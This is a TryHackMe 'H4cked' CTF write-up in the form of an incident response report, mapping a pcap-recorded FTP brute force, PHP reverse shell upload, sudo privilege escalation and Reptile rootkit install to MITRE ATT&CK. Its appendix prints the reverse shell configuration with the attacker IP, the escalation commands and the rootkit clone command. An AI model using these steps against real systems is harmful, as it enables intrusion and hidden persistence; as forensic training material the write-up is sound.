TryHackMe - H4cked

This is a writeup for the H4cked room on TryHackMe. My coverage of this room will be in the format of an incident response report, and will include mapping to the MITRE ATT&CK framework.

Scenario

“It seems like our machine got hacked by an anonymous threat actor. However, we are lucky to have a .pcap file from the attack. Can you determine what happened?”

Executive Summary:

A threat actor (TA) gained unauthorized access to the organization’s server using a compromised FTP service. The attack began on January 2nd, 2021, with a brute-force password attack on a known username, leading to the successful upload and execution of a reverse shell through the HTTP service. Exploiting password reuse and system misconfigurations, the attacker escalated privileges to root, installed a backdoor rootkit for persistence, and changed user passwords. The incident, detected on January 3rd, 2021, is classified as critical due to unauthorized root access, rootkit installation, and potential data exfiltration. The incident response team, consisting of a sole responder, was immediately activated.

Incident Overview:

The incident occurred on January 2nd, 2021, starting at 17:26:22 and concluding at 17:28:07. A total of 907 packets were captured during the attack.

Incident Classification:

This incident is categorized as critical severity due to:

• Unauthorized access to the root user account.
• The installation of a rootkit for persistence
• Potential for data exfiltration, which may have occurred but not been logged.

MITRE ATT&CK Mapping

Preparation:

The organization’s lax security posture and lack of preparedness likely contributed to the attack and its severity. While there is a single packet capture file which documents the incident, there was no other evidence provided. It is unclear if there is any pre-established incident responce procedures or policies.

Detection and Analysis:

Tactics: Credential Access

• Technique: T1110.001 - Brute Force

• The attack began with a brute force password attack on the FTP service.
• The user “jenny” was targeted, and 33 login attempts were made using various passwords.

Tactic: Initial Access

• Technique: T1078.003 - Valid Accounts: Local Account

• The successful login occurred at 17:26:36 with password “password123”

Tactic: Collection

• Technique: T1005 - Data from Local System

• Following access, TA determined the server’s OS and current working directory.
• TA issued commands to list the contents of /var/www/html

Tactic: Persistence

• Technique: T1505.003 - Server Software Component: Web shell

• Technique: T1543 - Create or Modify System Process

• The TA changed to binary mode, specified a different data transfer port, and uploaded a reverse shell named “shell.php.”
• TA confirmed successful upload and changed the permissions of “shell.php” to allow all.
• The attacker downloaded and installed a backdoor named “Reptile.”

Tactic: Execution:

• Technique: T1059 - Command and Scripting Interpreter

• TA accessed the reverse shell at 17:26:54 on the web server (port 80).
• A reverse shell was sent to the attacker’s IP address, providing access to the compromised system.

Tactic: Privilege Escalation

• Technique: T1078.003 - Valid Accounts: Local Accounts

• Technique: T1548 - Abuse Elevation Control Mechanism

• The attacker escalated privileges to user “jenny” using the FTP password.
• Full sudo permissions were discovered, allowing the attacker to escalate to root.

Tactic: Impact

Technique: T1531 - Account Access Removal

• Although not observed in the given artifact, the organization first became aware of the compromise due to user account access being removed. It is believed the TA facilitated this by changing the user account’s passwords.

Containment, Eradication, and Recovery:

In the context of this CTF, knowledge of the organization’s infrastructure and capabilities is limited. The following will mostly consist of suggested containment strategies applicable to the given scenario.

Containment:

Isolation of the Compromised System:

• Immediately isolate the compromised system from the network to prevent the threat actor from accessing other systems or resources within the network.
• Depending on organizational capabilities, this may entail physically disconnecting the machine from its network switch, or implementing network isolation via software.

  Temporarily Disable the Affected Accounts:

• Temporarily lock the user accounts that have been compromised to prevent the threat actor from carrying out additional actions.

  Recovery of Valid User Access:

• In order to regain access to the system, TTPs similar to the TA’s were implemented:
  • Brute-force password attack
  • Use of our own reverse shell
  • Privilege escalation.

Eradication:

Removal of Backdoor (“Reptile”) and Uploaded Reverse Shell:

• Identify and remove the backdoor (“Reptile”) that the TA installed to maintain access.
• Locate and delete the uploaded reverse shell (“shell.php”) to eliminate the entry point used by the TA.

  Investigation and Addressing FTP and Web Server Security Configurations:

• Conduct a thorough investigation into the FTP and web server configurations to identify and rectify security misconfigurations that allowed the initial compromise.
• Harden the security settings on the FTP and web servers to prevent similar vulnerabilities in the future.

Recovery:

Deploying Endpoint Detection and Response (EDR) Solutions:

• Integrate Endpoint Detection and Response (EDR) solutions to detect and respond to malicious activities on endpoints.
• Monitor system logs and user activities for any signs of unauthorized access or suspicious behavior.

  Installing and Configuring Intrusion Detection System (IDS) / Intrusion Prevention System (IPS):

• Deploy an Intrusion Detection System (IDS) or Intrusion Prevention System (IPS) to monitor network traffic and detect potential threats.
• Configure the system to generate alerts or take automated actions in response to identified malicious activity.

  Implementing a Web Application Firewall (WAF):

• Set up and configure a Web Application Firewall (WAF) to filter and monitor HTTP traffic, providing an additional layer of protection against web-based attacks.
• Regularly update and fine-tune WAF rules to adapt to evolving threats.

Shared Actions:

• The following actions are applicable to Containment, Eradication, and Recovery

  Changing Passwords and Enforcing a Stronger Password Policy:

• Changing passwords will revoke the TA’s current access.
• A stronger password policy will mitigate brute-force password attempts in the future.

  Account Lockout Policies:

• Implement or enforce account lockout policies to limit the number of incorrect login attempts.
• This can help prevent the TA from attempting further brute-force attacks.

Lessons Learned:

Reflecting on this incident it is clear that the security posture of the organization is lacking in several ways.

Account Lockout Policies:

• An account lockout policy is a technical control which would temporarily lock or disable an account after a prescribed number of incorrect login attempts.
• The lack of an account lockout policy contributed to the TA’s success in gaining initial access through brute-force.
• An account lockout policy which locks an account after 3 incorrect logins is suggested. This would help mitigate the attack vector used to gain initial access during this incident.

  Multi-Factor Authentication:

• Multi-Factor Authentication(MFA) requires at least one method of authentication beyond the use of a username and password.
• The lack of MFA aided the TA’s ease of gaining initial access to the system.
• It is suggested to implement a second factor for authentication, such as SMS or, ideally, an authenticator application on a separate user device.

  Regular Security Audits:

• Security measures need to be viewed as a continuous process. Security audits should be conducted regularly to assess user permissions and security configurations.
• The lack of regular auditing aided in the TA finding vulnerabilities in the FTP service, the HTTP service, as well as with the sudo permissions on the system.
• It is suggested that the organization schedule quarterly security audits. This process would ensure all other security measures are properly configured. Specifically, user permissions should be assessed to ensure the rule of least privilege is being followed.Security configurations may be assessed as well. For example, in this incident the TA was able to use the sudo command without being required to enter a password, to escalate their privilege to the root user.

  Monitoring and Detection:

• Solutions such as EDR for the system and IDS for the network provide continuous threat monitoring and detection capabilities.
• The lack of this type of solution aided the TA in avoiding detection until the system was already compromised.
• It is suggested that the server be hardened with an EDR solution, which could be configured to prevent known malware, like “Reptile,” from being downloaded or installed. An IDS should be implemented as well to monitor for suspicious network activity, such as the server delivering a shell to the TA.

Conclusion:

In conclusion, the incident response to this security breach has highlighted critical vulnerabilities in the organization’s security posture. The threat actor’s successful compromise, from initial access through privilege escalation, underscores the importance of robust security measures.

Key Takeaways:

1. Insufficient Access Controls: The absence of an account lockout policy facilitated the threat actor’s brute-force attack, emphasizing the need for effective access controls.
2. Authentication Weakness: Lack of Multi-Factor Authentication (MFA) increased the vulnerability of user accounts, emphasizing the importance of implementing additional layers of authentication.
3. Limited Security Audits: Irregular security audits allowed the threat actor to exploit vulnerabilities in FTP and web server configurations, emphasizing the necessity of continuous monitoring and assessment.
4. Monitoring Gaps: Absence of Endpoint Detection and Response (EDR) and Intrusion Detection System (IDS) left the organization blind to malicious activities, underlining the critical role of real-time monitoring.

Recommendations for Future Preparedness:

• Implement comprehensive access controls, including an account lockout policy and Multi-Factor Authentication (MFA), to fortify the organization against unauthorized access.
• Conduct regular security audits to identify and rectify vulnerabilities promptly, ensuring a proactive defense against potential threats.
• Deploy EDR and IDS solutions to enhance threat detection capabilities, enabling timely responses to suspicious activities.

Appendix

This section will outline the evidence extracted from the only artifact of this security incident, a packet capture file.

Following the TCP stream of the first packet shows the beginning of the brute-force attack at 17:26:22.901672799:

220 Hello FTP World!
USER jenny
331 Please specify the password.
PASS password
530 Login incorrect.
USER jenny
331 Please specify the password.
PASS 666666
530 Login incorrect.

The TA’s IP address was determined to be 192.168.0.147.

Filtering the packet capture with ip.src == 192.168.0.147 && ftp.request.command == PASS reveals the user attempted logging in 33 times.

Filtering the packet capture withftp.request.command filter to USER which shows all 33 attempts were against the user account “jenny.”

At 17:26:36.410866104 the attacker succeeded in gaining access to the user account “jenny”:

220 Hello FTP World!
USER jenny
331 Please specify the password.
PASS password123
230 Login successful.

TCP stream showing the TA uploading shell.php via port 50339:

TYPE I
200 Switching to Binary mode.
PORT 192,168,0,147,196,163
200 PORT command successful. Consider using PASV.
STOR shell.php
150 Ok to send data.
226 Transfer complete.

Filtering by tcp.port == 50339 shows the contents of shell.php:

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//script continues

And the TA’s IP address and specified port for the shell:

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.0.147';  // CHANGE THIS
$port = 80;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//SCRIPT CONTINUES

Filtering by ip.src == 192.168.0.147 and investigating beyond the FTP traffic shows the TA accessing /shell.php on the web server at 17:26:54.685119276:

GET /shell.php HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Filtering by ip.dst == 192.168.0.147 && tcp.dstprt == 80 shows the server sending the shell to the TA. Following this TCP stream reveals the TA’s actions on the system.

These actions began with information collection:

Linux wir3 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 22:26:54 up  2:21,  1 user,  load average: 0.02, 0.07, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
jenny    tty1     -                20:06   37.00s  1.00s  0.14s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ ls -la
total 1529956
drwxr-xr-x  23 root root       4096 Feb  1 19:52 .
drwxr-xr-x  23 root root       4096 Feb  1 19:52 ..
drwxr-xr-x   2 root root       4096 Feb  1 20:11 bin
drwxr-xr-x   3 root root       4096 Feb  1 20:15 boot
drwxr-xr-x  18 root root       3880 Feb  1 20:05 dev
drwxr-xr-x  94 root root       4096 Feb  1 22:23 etc
drwxr-xr-x   3 root root       4096 Feb  1 20:05 home
lrwxrwxrwx   1 root root         34 Feb  1 19:52 initrd.img -> boot/initrd.img-4.15.0-135-generic
lrwxrwxrwx   1 root root         33 Jul 25  2018 initrd.img.old -> boot/initrd.img-4.15.0-29-generic
drwxr-xr-x  22 root root       4096 Feb  1 22:06 lib
drwxr-xr-x   2 root root       4096 Feb  1 20:08 lib64
drwx------   2 root root      16384 Feb  1 19:49 lost+found
drwxr-xr-x   2 root root       4096 Jul 25  2018 media
drwxr-xr-x   2 root root       4096 Jul 25  2018 mnt
drwxr-xr-x   2 root root       4096 Jul 25  2018 opt
dr-xr-xr-x 117 root root          0 Feb  1 20:23 proc
drwx------   3 root root       4096 Feb  1 22:20 root
drwxr-xr-x  29 root root       1040 Feb  1 22:23 run
drwxr-xr-x   2 root root      12288 Feb  1 20:11 sbin
drwxr-xr-x   4 root root       4096 Feb  1 20:06 snap
drwxr-xr-x   3 root root       4096 Feb  1 20:07 srv
-rw-------   1 root root 1566572544 Feb  1 19:52 swap.img
dr-xr-xr-x  13 root root          0 Feb  1 20:05 sys
drwxrwxrwt   2 root root       4096 Feb  1 22:25 tmp
drwxr-xr-x  10 root root       4096 Jul 25  2018 usr
drwxr-xr-x  14 root root       4096 Feb  1 21:54 var
lrwxrwxrwx   1 root root         31 Feb  1 19:52 vmlinuz -> boot/vmlinuz-4.15.0-135-generic
lrwxrwxrwx   1 root root         30 Jul 25  2018 vmlinuz.old -> boot/vmlinuz-4.15.0-29-generic

At 17:27:16.106869697, the TA performed privilege escalation, first to user “jenny”, and then to the root account:

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@wir3:/$ su jenny
su jenny
Password: password123

jenny@wir3:/$ sudo -l
sudo -l
[sudo] password for jenny: password123

Matching Defaults entries for jenny on wir3:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jenny may run the following commands on wir3:
    (ALL : ALL) ALL
jenny@wir3:/$ sudo su
sudo su
root@wir3:/# whoami
whoami
root

Finally, at 17:27:41.745833112 the TA downloads and installs a backdoor called “Reptile”:

root@wir3:/# cd
cd
root@wir3:~# git clone https://github.com/f0rb1dd3n/Reptile.git
git clone https://github.com/f0rb1dd3n/Reptile.git
Cloning into 'Reptile'...
remote: Enumerating objects: 217, done..[K

---------------truncated---------------

Resolving deltas: 100% (499/499), done.
root@wir3:~# cd Reptile
cd Reptile
root@wir3:~/Reptile# ls -la
ls -la
total 44
drwxr-xr-x 7 root root 4096 Feb  1 22:27 .
drwx------ 4 root root 4096 Feb  1 22:27 ..
drwxr-xr-x 2 root root 4096 Feb  1 22:27 configs
drwxr-xr-x 8 root root 4096 Feb  1 22:27 .git
-rw-r--r-- 1 root root    8 Feb  1 22:27 .gitignore
-rw-r--r-- 1 root root 1922 Feb  1 22:27 Kconfig
drwxr-xr-x 7 root root 4096 Feb  1 22:27 kernel
-rw-r--r-- 1 root root 1852 Feb  1 22:27 Makefile
-rw-r--r-- 1 root root 2183 Feb  1 22:27 README.md
drwxr-xr-x 4 root root 4096 Feb  1 22:27 scripts
drwxr-xr-x 6 root root 4096 Feb  1 22:27 userland
root@wir3:~/Reptile# make
make
make[1]: Entering directory '/root/Reptile/userland'
Makefile:10: ../.config: No such file or directory
make[1]: *** No rule to make target '../.config'.  Stop.
make[1]: Leaving directory '/root/Reptile/userland'
Makefile:56: recipe for target 'userland_bin' failed
make: *** [userland_bin] Error 2
root@wir3:~/Reptile#